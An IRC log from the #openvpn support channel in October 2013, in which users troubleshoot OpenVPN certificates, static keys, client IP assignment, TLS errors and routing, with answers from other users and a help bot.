11:01 -!- sobersabre [~Sober@109.66.196.252] has quit [Ping timeout: 260 seconds]
11:03 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 268 seconds]
11:05 < mist_> Hi, i'm getting the following message with pfsense server + a bsd client
11:05 < mist_> Oct 13 18:04:43 cloudberry openvpn[76752]: Authenticate/Decrypt packet error: packet HMAC authentication failed
11:05 < mist_> Oct 13 18:04:43 cloudberry openvpn[76752]: TLS Error: incoming packet authentication failed from [AF_INET]195.198.33.151:49072
11:05 < mist_> i'm desperate, i've been googling for hours, anyone got an idea?
11:06 < mist_> i have the shared tls key on both ends
11:06 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
11:09 -!- akesterson [~akesterso@50-199-125-222-static.hfc.comcastbusiness.net] has left #openvpn []
11:24 < alanjf> Does anyone have any insight they could share about my question above?
11:25 < alanjf> Is is nto a good idea to use a system wide ca certs and keys instead of using a separate one just for openvpn?
11:26 < alanjf> (as well as a system wide "server" cert and key)
11:26 < alanjf> (like if I already have a cert and key for that common name)
11:27 < Aketzu> is it your own ca?
11:27 < alanjf> To avoid unnecessary duplication and having to keep track of separate set of ca and server certs/keys for each individual service that uses them)
11:28 < alanjf> Aketzu, yes on my main server I have my own ca.crt/key
11:28 < alanjf> in /etc/ssl
11:28 < Aketzu> then it probably works
11:28 < alanjf> created with: openssl genrsa -des3 -out ca.key 4096; openssl req -new -x509 -days 9150 -key ca.key -out ca.crt
11:29 < Aketzu> except that any server or user with web/email cert can also use that for vpn
11:30 < alanjf> Aketzu: That would be true, but the point is I want to have consistancy. Like if I need to revoke someone, I want to do that once.
11:32 < alanjf> Although I do see the logic in having separate ssl pki sets for openvpn and a different one for say email services as you mentioned.
11:33 < alanjf> Isn't it possible to have sub-ca's (I forget the proper term), that's like a child of yourr root ca (like what public ca's give out iirc) ?
11:34 < alanjf> Sometimes I wonder if OpenVPN wouldn't be better off using an sshd-like approach with simply private/public key pairs and known_hosts/authorized_keys.
11:37 < alanjf> Aketzu: Doesn't OpenVPN have any way of whitelisting which clients or certs you want to allow (which would allieviate the problem of anyone with a "web/email cert" being able to VPN in)
11:39 < Aketzu> you can have separate verification script
11:40 < alanjf> How exactly?
11:41 < Aketzu> read manpage
11:45 < alanjf> Ok, thanks.
11:48 -!- Freeaqingme [~Freeaqing@91.214.168.110] has joined #openvpn
11:49 < Freeaqingme> Hi folks. I've got my l2 vpn setup up and running. However, when a client connects, there's no connectivity at all (connecting itself goes fine though). And I only get connectivity once the client notices a ping timeout, and reconnects
11:50 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
11:50 < ludde> is there a way to get perfect forward secrecy with a single password instead of all the key file stuff?
11:51 < Aketzu> static key is "single password"
11:52 < ludde> does it still use diffie hellman and do i get perfect forward secrecy?
11:52 < Aketzu> no but you still have pfs
11:53 < ludde> it says here I don't: http://openvpn.net/index.php/open-source/documentation/miscellaneous/78-static-key-mini-howto.html
11:53 <@vpnHelper> Title: Static Key Mini-HOWTO (at openvpn.net)
11:54 < Aketzu> generate new key every time
11:54 < ludde> change the user's password every time they connect?
11:54 < ludde> that sounds practical
11:54 < Freeaqingme> ludde, why don't you want to use normal keys?
11:55 < ludde> it's easier to just manage passwords than generating keys and certificates for every client
11:55 < ludde> I want to use it as drop-in replacement for PPTP and that uses username/password authentication
11:55 < Freeaqingme> have you looked at easy-rsa?
11:56 < ludde> i have
11:56 < Aketzu> do you know that static key works only for single client
11:56 < ludde> Aketzu: i've read that
11:57 < ludde> why does openvpn have such limited support for username/password auth? it seems like it _could_ allow multiple clients AND pfs, but openvpn chose not to support it(?)
11:58 < Freeaqingme> how should pfs work without using rsa certs?
11:58 < Aketzu> make single client cert, distribute it ti all clients and add user/pw auth
11:59 < Aketzu> (or use the paid version)
11:59 < Freeaqingme> ludde, do your clients use the same application to connect to the server?
11:59 < ludde> diffie hellman.. one client generates random number c, sends 2^c(mod p).. other side has random number s, sends 2^s(mod p), and the shared secret is 2^cs (mod p)
11:59 < ludde> that gives you PFS and also supports password authentication
12:00 < Freeaqingme> at my last job we just ordered a bunch of viscosity licenses (they're quite cheap), and simply packaged the config files + certs in a format that viscosity supports
12:00 < Freeaqingme> and we automated that in a little web based interface
12:00 < Freeaqingme> so we had certs + ldap support
12:00 < ludde> Freeaqingme: yes
12:01 -!- Voziv [~quassel@quassel.do.voziv.com] has joined #openvpn
12:01 < ludde> Freeaqingme: it's for my IT infrastructure in my home, so only 4 clients or so.
12:01 < Freeaqingme> and you could perhaps write a patch to support pfs for static keys? ;)
12:02 < Freeaqingme> so if you generate 4 sets of certs+keys and distribute them, give them a lifetime of 5 years, and you're done for the next 5 years?
12:02 -!- Cultist [~Cultist@c-24-12-53-28.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
12:03 < ludde> Freeaqingme: theoretically, yes.
12:03 < Freeaqingme> I've applied it in practice as well ;)
12:03 < ludde> Freeaqingme: can two distinct clients use the same cert+key
12:03 < Freeaqingme> in theory, yes
12:04 -!- Cultist [~Cultist@c-24-12-53-28.hsd1.il.comcast.net] has joined #openvpn
12:04 < Freeaqingme> there's an option for that
12:04 < Aketzu> --duplicate-dn
12:04 < ludde> hm, then i could generate one archive with the conf files and cert+keys and I could distribute that same archive to every client.
12:04 < Freeaqingme> I'm struggling to see the problem with generating one key for each client though
12:05 < Aketzu> static ips and per client sttings are applied based on cert name
12:05 < ludde> it's a lot easier to just have an archive i can unzip and it works, rather than remembering which keys I assigned to what devices.
12:05 < ludde> Aketzu: ok
12:06 < Freeaqingme> Aketzu, perhaps he also finds it's easier to use the same ip everywhere? :P
12:07 < ludde> my tutorial uses ./build-key-server --batch to generate one key, and ./build-key-pass to generate the other key. What's the difference?
12:07 < Freeaqingme> the key generated with the -server option has a dedicated 'isServer' flag
12:07 < ludde> both of those are for clients
12:07 < Freeaqingme> Then clients can check for ns-cert-type server
12:08 < Freeaqingme> ./build-key-server is meant for the server cert
12:08 < ludde> http://ludde.dyndns.org/screencap/219bf21b4bdbc1be.png
12:08 < ludde> er
12:08 < ludde> wrong url
12:08 < ludde> it's page 35 of OpenVPN 2 Cookbook
12:08 < Freeaqingme> url?
12:09 < ludde> http://it-ebooks.info/book/1128/
12:09 <@vpnHelper> Title: OpenVPN 2 Cookbook - Free Download eBook - pdf (at it-ebooks.info)
12:10 < ludde> 6.  The first client certificate is generated in a batch. It is a very fast method for
12:10 < ludde> generating a client certificate but it is not possible to set a password on the client's
12:10 < ludde> private key file:
12:10 < ludde>        $ ./build-key-server --batch openvpnclient1
12:10 < Freeaqingme> I'm inclined to say that's wrong
12:11 < Freeaqingme> ./build-key-server really is for certs iwth the server flag set. than you can use ". ./vars && KEY_CN=${cn} ./pkitool ${cn}" to generate client certs
12:13 < ludde> ok
12:13 < Freeaqingme> you can btw use 1 dn for all your clients, but then you'd have to set up a tap vpn and run some dhcp server to provision your clients
12:13 < ludde> i'll try with one key per client first.
12:13 < ludde> key/cert
12:14 < Freeaqingme> ludde, you don't happen to be using puppet?
12:15 < ludde> nah
12:16 < Freeaqingme> I've got a puppet manifest that takes care all the generating stuff. I simply provide a list with hostnames, and puppet generates all the required certs keys etc
12:16 < ludde> oh
12:17 < Freeaqingme> in case your'e interested: https://github.com/Freeaqingme/puppet-openvpn/blob/pr/manifests/tunnel.pp
12:17 <@vpnHelper> Title: puppet-openvpn/manifests/tunnel.pp at pr · Freeaqingme/puppet-openvpn · GitHub (at github.com)
12:17 < Freeaqingme> still need to refactor it, but it works just fine
12:18 < Freeaqingme> also, you may want to look at page 313 of that book, embedding the certs etc in 1 file may ease distribution
12:18 < ludde> will do
12:19 < Aketzu> certs can be embedded into config fike as well
12:19 < ludde> i won't use puppet, i don't have so many machines
12:19 < ludde> oh
12:19 < Freeaqingme> Aketzu, yeah, that's what that page I referred to shows
12:19 < Aketzu> (typos thanks to cellphone irc)
12:19 < ludde> what's the .csr file for,  can i discard that once the key has been generated?
12:20 < ludde> certificate signing request i guess
12:20 < Freeaqingme> you can.
12:20 < Freeaqingme> but you can also keep it, and use it to generate the same certificate once it has been expired or revoked
12:30 < ludde> i  succsssfully made a simple connection, on my windows client it says: IPv4 Address. . . . . . . . . . . : 192.168.200.6
12:30 < ludde> but on the freebsd server it says: inet 192.168.200.1 --> 192.168.200.2 netmask 0xfffffff
12:30 < ludde> what IP is 192.168.200.2 ?
12:30 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Ping timeout: 240 seconds]
12:33 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
12:34 -!- Voziv [~quassel@quassel.do.voziv.com] has left #openvpn ["http://quassel-irc.org - Chat comfortably. Anywhere."]
12:34 < ludde> nvm the book explains it a bit.
12:38 < Freeaqingme> ludde, any particular reason you're using the p2p topology?
12:38 < ludde> Freeaqingme: i'm at that chapter in the book
12:42 -!- Marlenee [~creacatio@gateway/tor-sasl/creacation] has joined #openvpn
12:45 < Marlenee> i need help to install openvpn server in my ubuntu server
13:00 -!- memand [~memand@2001:41d0:1:d4b6::1] has joined #openvpn
13:02 < memand> Hey guys, I'm sitting here trying to help my frien set up OpenVPN on his MacBook but when we try to connect to the server using 'sudo openvpn client.conf' we get this "Cannot allocate TUN/TAP dev dynamically"
13:02 < memand> *friend
13:05 < memand> Is this the right place to ask, or should I try in #osx or #mac or something of that nature?
13:06 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Remote host closed the connection]
13:07 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
13:19 -!- FireSt0rM [~FireSt0rM@unaffiliated/firest0rm] has joined #openvpn
13:19 < FireSt0rM> Anyone know what could be causing the following error?
13:19 < FireSt0rM> Oct 13 18:11:11 DiskStation openvpn[23997]: 192.168.0.4:61714 TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity)
13:24 -!- JackWinter [~jack@vodsl-4997.vo.lu] has quit [Read error: Operation timed out]
13:25 <@plaisthos> quoting from the message: check your network connectivity
13:26 < Marlenee> plaisthos : i need help in install openvpn server on my ubuntu server ?
13:28 <@plaisthos> !ask
13:28 <@vpnHelper> "ask" is (#1) don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc or (#2) See also, How to ask questions the smart way here: http://catb.org/~esr/faqs/smart-questions.html
13:29 <@plaisthos> !tutorials
13:29 <@plaisthos> !tutorial
13:29 <@plaisthos> !howto
13:29 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
13:29 -!- JackWinter [~jack@vodsl-4997.vo.lu] has joined #openvpn
13:40 -!- r3Mod [~reMod@pushdome.net] has joined #openvpn
13:41 -!- r3Mod [~reMod@pushdome.net] has left #openvpn []
13:55 -!- kjs [~kjs@fedora/kjs] has quit [Ping timeout: 264 seconds]
13:58 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Ping timeout: 240 seconds]
14:00 -!- Jaska_ [~Q@gprs-internet-bcee2c-207.dhcp.inet.fi] has joined #openvpn
14:01 -!- speed_racer81 [~speed_rac@172.56.7.178] has joined #openvpn
14:05 -!- speed_racer84 [~speed_rac@172.56.7.178] has quit [Ping timeout: 252 seconds]
14:07 -!- speed_racer81 [~speed_rac@172.56.7.178] has quit [Ping timeout: 256 seconds]
14:21 -!- speed_racer84 [~speed_rac@172.56.7.178] has joined #openvpn
14:34 -!- Jaska_ [~Q@gprs-internet-bcee2c-207.dhcp.inet.fi] has quit [Read error: Connection reset by peer]
14:35 -!- Jaska_ [~Q@gprs-internet-bcee2c-207.dhcp.inet.fi] has joined #openvpn
14:48 -!- Denial [Denial@90.216.209.93] has joined #openvpn
14:48 -!- speed_racer84 [~speed_rac@172.56.7.178] has quit [Ping timeout: 240 seconds]
14:49 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:26 -!- LordThumper [~LordThump@78.133.21.200] has joined #openvpn
15:37 -!- Denial [Denial@90.216.209.93] has quit []
15:53 < ludde> how do I set what IP to assign to connecting clients?
15:53 < Eugene> !static
15:53 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
16:01 -!- mattock is now known as mattock_afk
16:20 -!- Cygor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
16:22 -!- kossy [a@kossy.org] has joined #openvpn
16:23 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Ping timeout: 246 seconds]
16:27 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
16:30 -!- Marlenee [~creacatio@gateway/tor-sasl/creacation] has quit [Ping timeout: 240 seconds]
16:30 -!- JackWinter_ [~jack@vodsl-4997.vo.lu] has joined #openvpn
16:32 -!- JackWinter [~jack@vodsl-4997.vo.lu] has quit [Ping timeout: 256 seconds]
16:43 < LordThumper> Hi, where should I copy the certificate files for OpenVPN client for Windows?
16:49 -!- pushpop [~pushpop@2001:19f0:1604:3ede:50fe:13e6:5924:bd57] has quit [Quit: ZNC - http://znc.in]
16:49 -!- pagios [~pagios@46.19.194.72] has joined #openvpn
16:49 < ludde> LordThumper: to the config/ directory?
16:49 < pagios> hi all, is PPTP tunnel still used and considered secure?
16:51 < pagios> does openvpn support l2tp or pptp?
16:54 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 245 seconds]
16:56 < ludde> Eugene: how do I set a common-name to IP mapping?
16:56 -!- pushpop [~pushpop@2001:19f0:1604:3ede:90aa:9188:9a02:3974] has joined #openvpn
16:56 -!- pushpop [~pushpop@2001:19f0:1604:3ede:90aa:9188:9a02:3974] has left #openvpn []
16:57 < LordThumper> ludde: I have no config folder.
16:57 < LordThumper> In the meantime I have been trying to switch to username/password authentication
16:57 < LordThumper> Where do i input the username/password pair on the server?
16:58 < LordThumper> Added auth-user-pass to server.conf
17:11 -!- |1li_ [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
17:14 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Ping timeout: 240 seconds]
17:21 -!- Boreeas [~Boreeas@frozen.boreeas.net] has quit [Quit: ZNC - http://znc.sourceforge.net]
17:27 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
17:28 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
17:33 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 272 seconds]
17:46 -!- MariusIT [~MariusIT@86.124.68.46] has joined #openvpn
17:58 -!- Otacon22 [~otacon22@93-36-89-25.ip59.fastwebnet.it] has quit [Read error: Operation timed out]
18:11 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 256 seconds]
18:13 -!- Champi [Champi@rootshell.fr] has quit [Ping timeout: 260 seconds]
18:23 -!- Champi [Champi@rootshell.fr] has joined #openvpn
18:24 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 240 seconds]
18:31 -!- LordThumper [~LordThump@78.133.21.200] has quit []
18:37 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
18:38 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
18:48 -!- MariusIT [~MariusIT@86.124.68.46] has quit [Ping timeout: 246 seconds]
19:11 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
19:15 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
19:18 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
19:18 <@ecrist> boats and hos
20:18 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 252 seconds]
20:22 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
20:25 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Client Quit]
20:36 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
20:54 -!- _jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 264 seconds]
20:58 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has joined #openvpn
21:00 -!- jareth_ [~jareth_@bak.project-treadstone.nl] has joined #openvpn
21:00 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 246 seconds]
21:05 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
21:08 -!- kantlive- [~kantlivel@home.kantlivelong.com] has quit [Quit: ZNC - http://znc.sourceforge.net]
21:12 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
21:18 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 240 seconds]
21:20 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
21:29 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
21:46 <@krzee> FireSt0rM,
21:46 <@krzee> !timeout
21:46 <@vpnHelper> "timeout" is if you see TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity) then your problem is likely one of the following: either the server isnt running, your client is connecting to the wrong ip/port/protocol, the server's firewall/nat has an issue, or the client's isp blocks it
21:55 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
21:56 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:03 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
22:04 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has quit [Ping timeout: 240 seconds]
22:04 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
22:39 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has quit [Quit: Leaving]
22:54 -!- haxle [~haxle@unaffiliated/haxle] has joined #openvpn
22:56 < haxle> hey guys, was wondering if I could get some help with: https://forums.openvpn.net/post34062.html#p34062 long story short I'm having some trouble accessing the internet once connected to the vpn, redirect-gateway doesn't seem to be getting through with the dns?
22:56 <@vpnHelper> Title: OpenVPN Support Forum Trouble using redirect-gateway : Configuration (at forums.openvpn.net)
22:58 < Aketzu> you didn't change your dns?
22:59 < haxle> i've tried just about every dns i could think of changing to.. also followed the guide in how to about iptables command etc..
22:59 < haxle> am i supposed to setup a dns server on my vpn server?
23:00 < haxle> tried nameserver 10.8.0.1, 8.8.8.8 the dns server listed in resolv.conf on my vpn server, etc
23:02 < haxle> was i supposed to change it to something else?
23:19 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has joined #openvpn
23:23 -!- haxle [~haxle@unaffiliated/haxle] has quit [Ping timeout: 256 seconds]
23:25 <@krzee> aww
23:26 <@krzee> he gave up a tiny bit too soon
23:41 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
23:42 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
23:49 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
23:49 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
23:50 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
23:50 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
23:55 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 245 seconds]
--- Day changed Mon Oct 14 2013
00:11 -!- Cygor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:46 -!- Eugene [eugene@codingforjes.us] has quit [Quit: ZNC - http://znc.sourceforge.net]
00:46 -!- EugeneKay [eugene@clockworkmod.org] has joined #openvpn
00:54 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
00:55 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
01:02 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
01:12 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
01:16 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
01:20 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Remote host closed the connection]
01:28 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
01:28 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
01:49 -!- mattock_afk is now known as mattock
01:56 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
01:57 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
02:02 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 252 seconds]
02:34 -!- suprMan` [~clark_ken@109.63.110.144] has joined #openvpn
02:41 -!- suprMan2` [~clark_ken@62-209-20-152.wimax.bb.zain.com] has joined #openvpn
02:44 -!- suprMan` [~clark_ken@109.63.110.144] has quit [Ping timeout: 265 seconds]
02:45 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
02:57 -!- MariusIT [~MariusIT@86.124.68.46] has joined #openvpn
02:58 -!- suprMan2` [~clark_ken@62-209-20-152.wimax.bb.zain.com] has quit [Read error: Connection reset by peer]
03:13 -!- Otacon22 [~otacon22@131.175.124.129] has joined #openvpn
03:34 -!- Denial [Denial@90.216.209.93] has joined #openvpn
03:51 -!- FireSt0rM [~FireSt0rM@unaffiliated/firest0rm] has quit [Ping timeout: 252 seconds]
03:52 -!- FireSt0rM [~FireSt0rM@unaffiliated/firest0rm] has joined #openvpn
04:12 -!- xTz [~xTz@cpc3-belc7-2-0-cust313.2-1.cable.virginmedia.com] has joined #openvpn
04:16 -!- Denial [Denial@90.216.209.93] has quit []
04:17 -!- mattock is now known as mattock_afk
04:21 -!- Denial [Denial@90.216.209.93] has joined #openvpn
04:33 -!- master_o1_master [~master_of@p4FF240D4.dip0.t-ipconnect.de] has joined #openvpn
04:35 -!- JackWinter_ [~jack@vodsl-4997.vo.lu] has quit [Ping timeout: 246 seconds]
04:36 -!- JackWinter [~jack@vodsl-4997.vo.lu] has joined #openvpn
04:36 -!- master_of_master [~master_of@p4FF24214.dip0.t-ipconnect.de] has quit [Ping timeout: 251 seconds]
04:56 -!- Otacon22 [~otacon22@131.175.124.129] has quit [Ping timeout: 246 seconds]
04:59 < crass> I don't see it in the docs, but there isn't a way to include one ovpn config from another is there?
05:05 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Remote host closed the connection]
05:32 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
05:51 < ludde> is there any specific reason why openvpn doesn't have a header compression feature?
05:54 < crass> can openvpn automatically select an unused local port with udp?
05:54 < crass> it seems like its using the port of the server
05:57 -!- FireSt0rM [~FireSt0rM@unaffiliated/firest0rm] has quit [Read error: Connection reset by peer]
05:57 -!- FireSt0rM [~FireSt0rM@unaffiliated/firest0rm] has joined #openvpn
06:00 -!- mattock_afk is now known as mattock
06:12 -!- haxle [~haxle@72-48-252-164.dyn.grandenetworks.net] has joined #openvpn
06:13 -!- pagios [~pagios@46.19.194.72] has left #openvpn ["Leaving"]
06:18 -!- haxle [~haxle@72-48-252-164.dyn.grandenetworks.net] has quit [Ping timeout: 240 seconds]
06:21 -!- sobersabre_ [~Sober@109.66.196.252] has quit [Remote host closed the connection]
06:22 < defswork> crass, thats a configurable option
06:23 < defswork> --nobind
06:27 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Quit: Gone...]
06:30 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
06:40 < crass> I'm getting now an "Cannot assign requested address" error, I think because the server is trying to configure the tun with the same ip as the interface running the connection
06:41 < crass> it seems like --client-nat is what I want, but I can't seem to get it to work
06:41 < crass> any ideas?
07:02 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 240 seconds]
07:42 -!- xTz [~xTz@cpc3-belc7-2-0-cust313.2-1.cable.virginmedia.com] has quit [Quit: leaving]
07:43 -!- xTz [xtz@93.152.157.35] has joined #openvpn
07:46 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
08:12 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-sseaidjjqeiocllu] has quit [Ping timeout: 246 seconds]
08:12 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has quit [Quit: ZNC - http://znc.sourceforge.net]
08:15 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
08:56 -!- locojay [~locojay@207.239.107.3] has joined #openvpn
08:56 < locojay> hi just purchased a oas license. but when adding i get SESSION ERROR: SESSION: Your session has expired, please reauthenticate (9007)
08:57 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
09:00 -!- locojay1 [~locojay@108.30.139.71] has joined #openvpn
09:00 -!- locojay1 [~locojay@108.30.139.71] has quit [Client Quit]
09:00 -!- locojay1 [~locojay@108.30.139.71] has joined #openvpn
09:03 -!- locojay [~locojay@207.239.107.3] has quit [Ping timeout: 272 seconds]
09:18 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 264 seconds]
09:20 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
09:23 < thesov> hmm, i have a problem with throughput via openvpn, i need to push 45 meg through an openvpn connection, we have atom 1U servers, they max out the core the thread runs on at about 3 megabits, i need to push about 90. how would i achieve this?
09:24 < thesov> in other i have 1 ds3 now, and it only does 3 meg, eventually we are doubling the ds3
09:32 < mapps> nice 1u server how much that set you back
09:39 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection]
09:42 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
09:42 -!- mode/#openvpn [+o plaisthos] by ChanServ
09:44 -!- elfixit [~Icedove@213.144.157.68] has joined #openvpn
09:55 -!- locojay2 [~locojay@207.239.107.3] has joined #openvpn
09:58 -!- locojay1 [~locojay@108.30.139.71] has quit [Ping timeout: 245 seconds]
09:58 -!- thalweg [~quassel@198.211.102.196] has joined #openvpn
09:59 -!- bdpuk [~bdpuk@151.237.234.64] has joined #openvpn
10:00 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:12 < bdpuk> !welcome
10:12 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
10:12 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
10:13 < bdpuk> !goal
10:13 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
10:15 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 264 seconds]
10:15 < bdpuk> Hi All, I'm just wondering if it is possible to concentrate with breaking multiple site to site vpns. The scenarios would be, multiple 1 to 1 client/server site to sites but the server is natted behind a single gateway that is intelligent enough to route the right client to the right server. Is this possible at all?
10:16 < bdpuk> *without rather than with
10:16 -!- raidz_away is now known as raidz
10:19 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-bmffyygdyhyybjfj] has joined #openvpn
10:41 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
10:53 -!- Jaska__ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
10:54 -!- Jaska_ [~Q@gprs-internet-bcee2c-207.dhcp.inet.fi] has quit [Ping timeout: 272 seconds]
10:58 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
11:01 -!- Jaska__ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Read error: Connection reset by peer]
11:02 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
11:04 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
11:11 -!- |1li__ [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
